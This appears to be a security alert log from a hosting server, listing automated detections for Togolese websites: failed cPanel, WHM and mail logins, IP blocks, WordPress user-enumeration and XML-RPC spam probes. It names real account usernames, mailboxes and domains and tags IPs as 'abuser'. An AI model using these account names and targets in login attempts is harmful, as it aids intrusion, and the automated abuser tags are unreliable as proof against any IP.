# incident

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.80.89.35
country_id: 6252001
description:
23.80.89.35 - - [01/Jul/2026:19:42:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6647148&pdata=http%253A%252F%252Fceni.tg%252Fcgi-sys%252Fdefaultwebpage.cgi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782934966 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/cgi-sys/defaultwebpage.cgi" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.80.89.35


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 19:43:53 +0000] info [cpaneld] 157.85.210.56 - mouss "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mouss (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 19:44:26 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57896: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.69.171.23
country_id: 2077456
description:
[2026-07-01 19:49:29 +0000] info [cpaneld] 152.69.171.23 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 19:51:55 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 19:52:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.43.53
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/index.php/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.91.125.41
country_id: 3017382
description:
[2026-07-01 19:55:18 +0000] info [cpaneld] 144.91.125.41 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.168.76
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:140.235.168.76||TA:140.235.168.76||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.170.103
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:140.235.170.103||TA:140.235.170.103||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.43.53
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 19:58:49 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.94.146
country_id: 2017370
description:
Jul  1 19:59:44 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.94.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.112.174
country_id: 1269750
description:
Jul  1 19:59:36 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.112.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.207.94.146
country_id: 2017370
description:
2026-07-01 19:59:46 dovecot_login authenticator failed for H=([183.82.56.12]) [109.207.94.146]:57554: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 19:59:53 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49174: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-01 19:59:38 dovecot_login authenticator failed for H=(host-45-145-203-68.mywic.eu) [182.78.112.174]:36658: 535 Incorrect authentication data (set_id=master@sotranetogo.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:20:00:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920900&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782936048 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.79.219.186
country_id: 2395170
description:
41.79.219.186 - - [01/Jul/2026:20:01:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13330632&pdata=https%253A%252F%252Fsp-eau.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782936060 HTTP/2.0" 302 0 sp-eau.tg "https://sp-eau.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.79.219.186


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.213
country_id: 1269750
description:
Jul  1 20:04:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-07-01 20:04:06 dovecot_login authenticator failed for H=(nsg-corporate-213.230.187.122.airtel.in) [122.187.230.213]:50808: 535 Incorrect authentication data (set_id=administrator@soena.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.121.37
country_id: 6251999
description:
[2026-07-01 20:05:03 +0000] info [whostmgrd] 23.234.121.37 - stephanetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.198.159
country_id: 99237
description:
2026-07-01 20:05:12 dovecot_login authenticator failed for H=([182.95.182.166]) [65.20.198.159]:51691: 535 Incorrect authentication data (set_id=nawoki@otr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.209.199.150
country_id: 2661886
description:
[2026-07-01 20:08:03 +0000] info [whostmgrd] 185.209.199.150 - koolnetfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.202.175.231
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:185.202.175.231||TA:185.202.175.231||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.236
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:206.232.103.236||TA:206.232.103.236||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.79.219.120
country_id: 2395170
description:
41.79.219.120 - - [01/Jul/2026:20:09:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12806344&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14660&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782936594 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14660" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.5 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.79.219.120


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.169.91
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:140.235.169.91||TA:140.235.169.91||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.71.154
country_id: 6252001
description:
[2026-07-01 20:10:53 +0000] info [whostmgrd] 23.234.71.154 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.56.138
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:107.175.56.138||TA:107.175.56.138||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 20:10:17 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.41.235
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:145.223.41.235||TA:145.223.41.235||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:10:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.219.169
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.253.219.169||TA:104.253.219.169||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.97.156.212
country_id: 6252001
domain: digilix.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/digilix.tg/assets/images/team-archiveurs.png HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:105d95842732a71edffad34656e0b1db4bf6a648||Title:pz2i4pvjmk15dp8s||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1a8ac3bff2537af2328989012a96e905022302b1||Title:9bled1f0gfjz56f||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.181.109.201
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=481 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eeba08961ede25c79dbb57ea9ac50f688bd0e572||Title:k3sf5zyfpf1llj||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.122.172.164
country_id: 298795
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=407 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.128.123.180
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2058 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.72.86.167
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&tag=accra HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.6.212.245
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/djama-en-fete-togo-2000 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b839d03bc48328d55fbe49a1be4ab665a2eca7f6||Title:439ostpr4b14c8ev6h||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:17:03 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:899d3ead1bf14b3b3d73c5ebef2686340730363d||Title:tqt0w71e8tr49ikyg0||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3801cf3f8aaf8ee14ceeb07d50faab49647ea2a7||Title:k1yoj6799mdwga||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:29f4cae2f27be49067dba3eb8c8e0aa6cd053248||Title:gdjhwkh7hpe283j||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:57f723aa32d16c6ab5b058e05ea96a2a2d775d18||Title:herd9y39hib5yrke||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ca2fa336559dcf1637afc53e53592e43278c5851||Title:uaiy802zvdxxqzqq8||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.69.171.23
country_id: 2077456
description:
[2026-07-01 20:21:32 +0000] info [cpaneld] 152.69.171.23 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.57.20.165
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/30eme-journee-mondiale-des-personnes-handicapees-faure-gnassingbe-offre-un-ensemble-dinstruments-flambants-neufs-de-derniere-generation-a-happy-brothers/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.57.20.165
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/30eme-journee-mondiale-des-personnes-handicapees-faure-gnassingbe-offre-un-ensemble-dinstruments-flambants-neufs-de-derniere-generation-a-happy-brothers/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 91.247.163.252
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:91.247.163.252||TA:91.247.163.252||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:153e6e5f4cc67009177942cd32e13cf632dd4d3b||Title:s0q1hzjh2a8z81bob||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f4591d4ed0b8f166868f6c11f219d9014fdfc0e8||Title:6egj4q6g4h4r5dw||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:23:59 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2c0b719d1736408bb474c977d98a1536bea8fcdc||Title:tnlgvoz8bc2tc7||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.215.39.160
country_id: 630336
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/la-snb-souffle-sa-premiere-bougie HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:24:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [01/Jul/2026:20:25:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262940&pdata=http%253A%252F%252Fhenkagroupe.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782937506 HTTP/1.1" 302 0 henkagroupe.com "http://henkagroupe.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:538856d9ba28622f0bdb61f066ec4b77dbf65463||Title:9ywwaashg1nllptr||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.199.241
country_id: 1880251
description:
[2026-07-01 20:26:53 +0000] info [whostmgrd] 146.70.199.241 - netmastersarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.69.171.23
country_id: 2077456
description:
[2026-07-01 20:27:35 +0000] info [cpaneld] 152.69.171.23 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3f6cdfc7189a2e93281c4b7a46fb97fefbe1a4ba||Title:bzhy1m0b74wskv0v||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.190.11.185
country_id: 1269750
description:
146.190.11.185 - - [01/Jul/2026:20:28:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777957&pdata=http%253A%252F%252Fbrmn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782937702 HTTP/1.1" 302 0 brmn.tg "http://brmn.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.190.11.185


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:40044243b9b0402aa812c79e86dce2b299b1afd4||Title:qj39nqhte6zpxv51||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.199.241
country_id: 1880251
description:
[2026-07-01 20:28:40 +0000] info [cpaneld] 146.70.199.241 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 20:30:15 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49972: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cb553b85281e53aac79db41d99ae778e1f33c4ea||Title:90slbutrtm1pl5d3j||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.186.183.43
country_id: 798549
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:253d6e4e848f1edce448253846600e9b336c9100||Title:358m9xmqs4mpnazw||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.133.90.43
country_id: 163843
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/humanis-2026-prevenir-pour-mieux-vivre/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.202.16.127
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:193.202.16.127||TA:193.202.16.127||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.151.133
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:148.135.151.133||TA:148.135.151.133||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.16.150.13
country_id: 1522867
domain: 24heureinfo.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/24heureinfo.tghttp/24heureinfo.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.133.90.43
country_id: 163843
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/humanis-2026-prevenir-pour-mieux-vivre/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.16.150.13
country_id: 1522867
domain: 24heureinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/24heureinfo.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.190.106.231
country_id: 2077456
description:
[2026-07-01 20:35:08 +0000] info [cpaneld] 91.190.106.231 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:35:48 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.219.16.13
country_id: 6252001
description:
[2026-07-01 20:38:06 +0000] info [whostmgrd] 71.219.16.13 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:42:45 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.145.131.143
country_id: 294640
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:45.145.131.143||TA:45.145.131.143||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.19.207.245
country_id: 2510769
description:
[2026-07-01 20:46:08 +0000] info [whostmgrd] 193.19.207.245 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.19.207.245
country_id: 2510769
description:
